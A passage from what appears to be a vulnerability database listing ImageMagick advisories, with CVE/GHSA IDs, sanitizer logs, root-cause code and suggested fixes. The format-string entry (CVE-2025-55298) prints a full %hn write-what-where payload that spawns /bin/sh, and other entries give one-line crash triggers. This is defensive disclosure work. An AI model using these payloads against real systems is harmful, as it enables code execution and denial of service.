image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue # Second stop (post-seek write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset) # Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum ``` **Expected at second stop:** `type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`. --- ## Credits **Reported by:** Lumina Mescuwa --- |
CVE-2025-57807
GHSA-23hg-53q6-hqfg |
| VCID-n47w-r932-abey | ImageMagick is vulnerable to Heap Overflow when writing extremely large image profile in the PNG encoder An extremely large image profile could result in a heap overflow when encoding a PNG image. |
CVE-2026-30883
GHSA-qmw5-2p58-xvrc |
| VCID-nvp5-dpj6-byda | ImageMagick: ImageMagick: Arbitrary code execution via a crafted XBM image file |
CVE-2026-23876
|
| VCID-p5aw-n691-nkff | ImageMagick: MSL image stack index may fail to refresh, leading to leaked images Sometimes msl.c fails to update the stack index, so an image is stored in the wrong slot and never freed on error, causing leaks. ``` ==841485==ERROR: LeakSanitizer: detected memory leaks Direct leak of 13512 byte(s) in 1 object(s) allocated from: #0 0x7ff330759887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 ``` |
CVE-2026-25988
GHSA-782x-jh29-9mf7 |
| VCID-pcme-bwan-3bcf | ImageMagick has NULL Pointer Dereference in ClonePixelCacheRepository via crafted image A NULL pointer dereference in ClonePixelCacheRepository allows a remote attacker to crash any application linked against ImageMagick by supplying a crafted image file, resulting in Denial of Service. ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==3704942==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x7f9d141239e0 bp 0x7ffd4c5711e0 sp 0x7ffd4c571148 T0) #0 0x7f9d141239e0 (/lib/x86_64-linux-gnu/libc.so.6+0xc49e0) #1 0x558a25e4f08d in ClonePixelCacheRepository._omp_fn.0 MagickCore/cache.c:784 #2 0x7f9d14c06a15 in GOMP_parallel (/lib/x86_64-linux-gnu/libgomp.so.1+0x14a15) #3 0x558a25e43151 in ClonePixelCacheRepository MagickCore/cache.c:753 #4 0x558a25e49a96 in OpenPixelCache MagickCore/cache.c:3849 #5 0x558a25e45117 in GetImagePixelCache MagickCore/cache.c:1829 #6 0x558a25e4dde3 in SyncImagePixelCache MagickCore/cache.c:5647 #7 0x558a256ba57d in SetImageExtent MagickCore/image.c:2713 ``` |
CVE-2026-25798
GHSA-p863-5fgm-rgq4 |
| VCID-r3vw-ncns-cqgb | ImageMagick is vulnerable to heap buffer over-write on 32-bit systems in SFW decoder An overflow on 32-bit systems can cause a crash in the SFW decoder when processing extremely large images. |
CVE-2026-31853
GHSA-56jp-jfqg-f8f4 |
| VCID-r889-wzc7-1yem | ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution ## Summary A format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. <br> ## Details ### root cause ``` MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... while ((cursor=strchr(cursor,'%')) != (const char *) NULL) { const char *q = cursor; ssize_t offset = (ssize_t) (cursor-format); cursor++; /* move past '%' */ if (*cursor == '%') { /* Escaped %%. */ cursor++; continue; } /* Skip padding digits like %03d. */ if (isdigit((int) ((unsigned char) *cursor)) != 0) (void) strtol(cursor,(char **) &cursor,10); switch (*cursor) { case 'd': case 'o': case 'x': { ssize_t count; count=FormatLocaleString(pattern,sizeof(pattern),q,value); if ((count <= 0) || (count >= MagickPathExtent) || ((offset+count) >= MagickPathExtent)) return(0); (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent- offset)); cursor++; break; } ``` When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. <br> ``` MagickExport ssize_t FormatLocaleString(char *magick_restrict string, const size_t length,const char *magick_restrict format,...) { ssize_t n; va_list operands; va_start(operands,format); n=FormatLocaleStringList(string,length,format,operands); va_end(operands); return(n); } ``` ``` MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string, const size_t length,const char *magick_restrict format,va_list operands) { ... n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands); ``` Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations. <br> ## PoC ### 1. Heap overflow read tested on development container ``` root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n ================================================================= ==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408 READ of size 8 at 0x603000000001 thread T0 #0 0x5bdccaae689d in SplaySplayTree splay-tree.c #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #10 0x73b2102b2d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) 0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028) allocated by thread T0 here: #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #1 0x73b21031915a (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree Shadow bytes around the buggy address: 0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==55653==ABORTING ``` Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition. <br> ### 2. Shell execution tested on a local environment https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94 ``` ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa ``` The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges. <br> **Exploitation Process:** 1. Format string payload corrupts stack pointers through positional parameters 2. Multiple 2-byte writes (%hn) progressively overwrite the return address 3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85) 4. One-gadget executes `/bin/sh` with inherited process permissions <br> **Remote Exploitation Feasibility:** While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access. <br> **Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure. **Note:** This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system. <br> ## Impact This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges. The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks. <br> ## Suggested Fix Two potential mitigation approaches: 1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString` 2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString` <br> ## Credits ### Team Daemon Fuzz Hunters **Bug Hunting Master Program, HSpace/Findthegap** <br> **Woojin Park** @jin-156 [1203kids@gmail.com](mailto:1203kids@gmail.com) **Hojun Lee** @leehohojune [leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr) **Youngin Won** @amethyst0225 [youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr) **Siyeon Han** @hanbunny [kokosyeon@gmail.com](mailto:kokosyeon@gmail.com) # Additional notes from the ImageMagick team: On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation: To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive: - In wrappers: `filename:literal` - From the command line: `-define filename:literal=true` |
CVE-2025-55298
GHSA-9ccg-6pjw-x645 |
| VCID-rbdg-vz8x-ykah | ImageMagick has heap use-after-free in the MSL encoder A heap-use-after-free vulnerability exists in the MSL encoder, where a cloned image is destroyed twice. The MSL coder does not support writing MSL so the write capability has been removed. ``` SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/image.c:1195 in DestroyImage Shadow bytes around the buggy address: 0x0a4e80007450: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007460: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007470: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007490: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0a4e800074a0: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd 0x0a4e800074b0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa 0x0a4e800074c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa ``` |
CVE-2026-28688
GHSA-xxw5-m53x-j38c |
| VCID-rjkf-pdny-2fhn | ImageMagick vulnerable to stack corruption through long morphology kernel names or arrays A stack buffer overflow exists in ImageMagick's morphology kernel parsing functions. User-controlled kernel strings exceeding a buffer are copied into fixed-size stack buffers via memcpy without bounds checking, resulting in stack corruption. |
CVE-2026-28494
GHSA-932h-jw47-73jm |
| VCID-ruf5-255v-sfdb | ImageMagick: Out of bounds read in multiple coders read raw pixel data A heap buffer over-read vulnerability exists in multiple raw image format handles. The vulnerability occurs when processing images with -extract dimensions larger than -size dimensions, causing out-of-bounds memory reads from a heap-allocated buffer. |
CVE-2026-25576
GHSA-jv4p-gjwq-9r2j |
| VCID-sd54-b8z1-2fg7 | ImageMagick: Integer overflow or wraparound and incorrect conversion between numeric types in the internal SVG decoder A crafted SVG file can cause a denial of service. An off-by-one boundary check (`>` instead of `>=`) that allows bypass the guard and reach an undefined `(size_t)` cast. |
CVE-2026-25989
GHSA-7355-pwx2-pm84 |
| VCID-sdc2-fcap-abaz | ImageMagick has Heap Out-of-Bounds Read in DCM Decoder (ReadDCMImage) A heap out-of-bounds read vulnerability exists in the `coders/dcm.c` module. When processing DICOM files with a specific configuration, the decoder loop incorrectly reads bytes per iteration. This causes the function to read past the end of the allocated buffer, potentially leading to a Denial of Service (crash) or Information Disclosure (leaking heap memory into the image). |
CVE-2026-25982
GHSA-pmq6-8289-hx3v |
| VCID-spch-fffg-4yc5 | Withdrawn Advisory: ImageMagick has a use-after-free/double-free risk in Options::fontFamily when clearing family ## Withdrawn Advisory This advisory has been withdrawn because it does not affect the ImageMagick project's NuGet packages. ### Original Description We believe that we have discovered a potential security vulnerability in ImageMagick’s Magick++ layer that manifests when `Options::fontFamily` is invoked with an empty string. **Vulnerability Details** - Clearing a font family calls `RelinquishMagickMemory` on `_drawInfo->font`, freeing the font string but leaving `_drawInfo->font` pointing to freed memory while `_drawInfo->family` is set to that (now-invalid) pointer. Any later cleanup or reuse of `_drawInfo->font` re-frees or dereferences dangling memory. - `DestroyDrawInfo` and other setters (`Options::font`, `Image::font`) assume `_drawInfo->font` remains valid, so destruction or subsequent updates trigger crashes or heap corruption. ```cpp if (family_.length() == 0) { _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font); DestroyString(RemoveImageOption(imageInfo(),"family")); } ``` - **CWE-416 (Use After Free):** `_drawInfo->font` is left dangling yet still reachable through the Options object. - **CWE-415 (Double Free):** DrawInfo teardown frees `_drawInfo->font` again, provoking allocator aborts. **Affected Versions** - Introduced by commit `6409f34d637a34a1c643632aa849371ec8b3b5a8` (“Added fontFamily to the Image class of Magick++”, 2015-08-01, blame line 313). - Present in all releases that include that commit, at least ImageMagick 7.0.1-0 and later (likely late 6.9 builds with Magick++ font family support as well). Older releases without `fontFamily` are unaffected. **Command Line Triggerability** This vulnerability cannot be triggered from the command line interface. The bug is specific to the Magick++ C++ API, specifically the `Options::fontFamily()` method. The command-line utilities (such as `convert`, `magick`, etc.) do not expose this particular code path, as they operate through different internal mechanisms that do not directly call `Options::fontFamily()` with an empty string in a way that would trigger the use-after-free condition. **Proposed Fix** ```diff diff --git a/Magick++/lib/Options.cpp b/Magick++/lib/Options.cpp @@ void Magick::Options::fontFamily(const std::string &family_) - _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font); + _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->family); ``` This frees only the actual family string, leaving `_drawInfo->font` untouched. Optionally nulling `_drawInfo->font` when clearing `font()` itself maintains allocator hygiene. |
CVE-2025-65955
GHSA-q3hc-j9x5-mp9m |
| VCID-sw7g-hxxr-n3e1 | ImageMagick has a Path Policy TOCTOU symlink race bypass `domain="path"` authorization is checked before final file open/use. A symlink swap between check-time and use-time bypasses policy-denied read/write. |
CVE-2026-28689
GHSA-493f-jh8w-qhx3 |
| VCID-tt6z-t31v-dkdd | ImageMagick has an Out-of-bounds Write via InterpretImageFilename Due to an incorrect return value on certain platforms a pointer is incremented past the end of a buffer that is on the stack and that could result in an out of bounds write. ``` ================================================================= ==48558==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00016b9b7490 at pc 0x0001046d48ac bp 0x00016b9b31d0 sp 0x00016b9b31c8 WRITE of size 1 at 0x00016b9b7490 thread T0 ``` |
CVE-2026-33536
GHSA-8793-7xv6-82cf |
| VCID-tv15-dcnu-pbbn | ImageMagick: Heap overflow in pcd decoder leads to out of bounds read. The pcd coder lacks proper boundary checking when processing Huffman-coded data. The decoder contains an function that has an incorrect initialization that could cause an out of bounds read. ``` ==3900053==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000003c6c at pc 0x55601b9cc552 bp 0x7ffd904b1f70 sp 0x7ffd904b1f60 READ of size 1 at 0x502000003c6c thread T0 ``` |
CVE-2026-26284
GHSA-wrhr-rf8j-r842 |
| VCID-uwj5-1fkf-7qg9 | ImageMagick affected by divide-by-zero in ThumbnailImage via montage -geometry ":" leads to crash ## Summary Passing a geometry string containing only a colon (":") to montage -geometry leads GetGeometry() to set width/height to 0. Later, ThumbnailImage() divides by these zero dimensions, triggering a crash (SIGFPE/abort), resulting in a denial of service. ## Details **Root Cause** 1. `montage -geometry ":" ...` reaches `MagickCore/geometry.c:GetGeometry().` 2. `StringToDouble/InterpretLocaleValue` parses `":"` as `0.0;` then: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355 `WidthValue` (and/or `HeightValue)` is set with a zero dimension. 3. In MagickCore/resize.c:ThumbnailImage(), the code computes: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629 causing a division by zero and immediate crash. The issue is trivially triggerable without external input files (e.g., using `xc:white`). ### Reproduction Environment ``` Version: ImageMagick 7.1.2-1 (Beta) Q16-HDRI x86_64 0ba1b587b:20250812 https://imagemagick.org Features: Cipher DPC HDRI Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff x xml zlib Compiler: clang (14.0.0) OS/Arch: Linux x86_64 ``` Steps ``` ./bin/magick montage -geometry : xc:white null: ``` Observed result ``` IOT instruction (core dumped) # (Environment-dependent: SIGFPE/abort may be observed.) ``` ## PoC No external file required; the pseudo image xc:white suffices: ``` ./bin/magick montage -geometry : xc:white null: ``` ## Impact - **Denial of Service:** A divide-by-zero in `ThumbnailImage()` causes immediate abnormal termination (e.g., SIGFPE/abort), crashing the ImageMagick process. ## Suggested fix Defensively reject zero dimensions early in `ThumbnailImage()`: ```c if ((columns == 0) || (rows == 0)) { (void) ThrowMagickException(exception, GetMagickModule(), OptionError, "InvalidGeometry", "thumbnail requires non-zero dimensions: %.20gx%.20g", (double) columns, (double) rows); return (Image *) NULL; } ``` Additionally, consider tightening validation in `GetGeometry()` so that colon-only (and similar malformed) inputs do not yield `WidthValue/HeightValue` with zero, or are rejected outright. Variants like `"x:"` or `":x"` may also need explicit handling (maintainer confirmation requested). ## Credits ### Team Daemon Fuzz Hunters **Bug Hunting Master Program, HSpace/Findthegap** <br> **Woojin Park** @jin-156 [1203kids@gmail.com](mailto:1203kids@gmail.com) **Hojun Lee** @leehohojune [leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr) **Youngin Won** @amethyst0225 [youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr) **Siyeon Han** @hanbunny [kokosyeon@gmail.com](mailto:kokosyeon@gmail.com) |
CVE-2025-55212
GHSA-fh55-q5pj-pxgw |
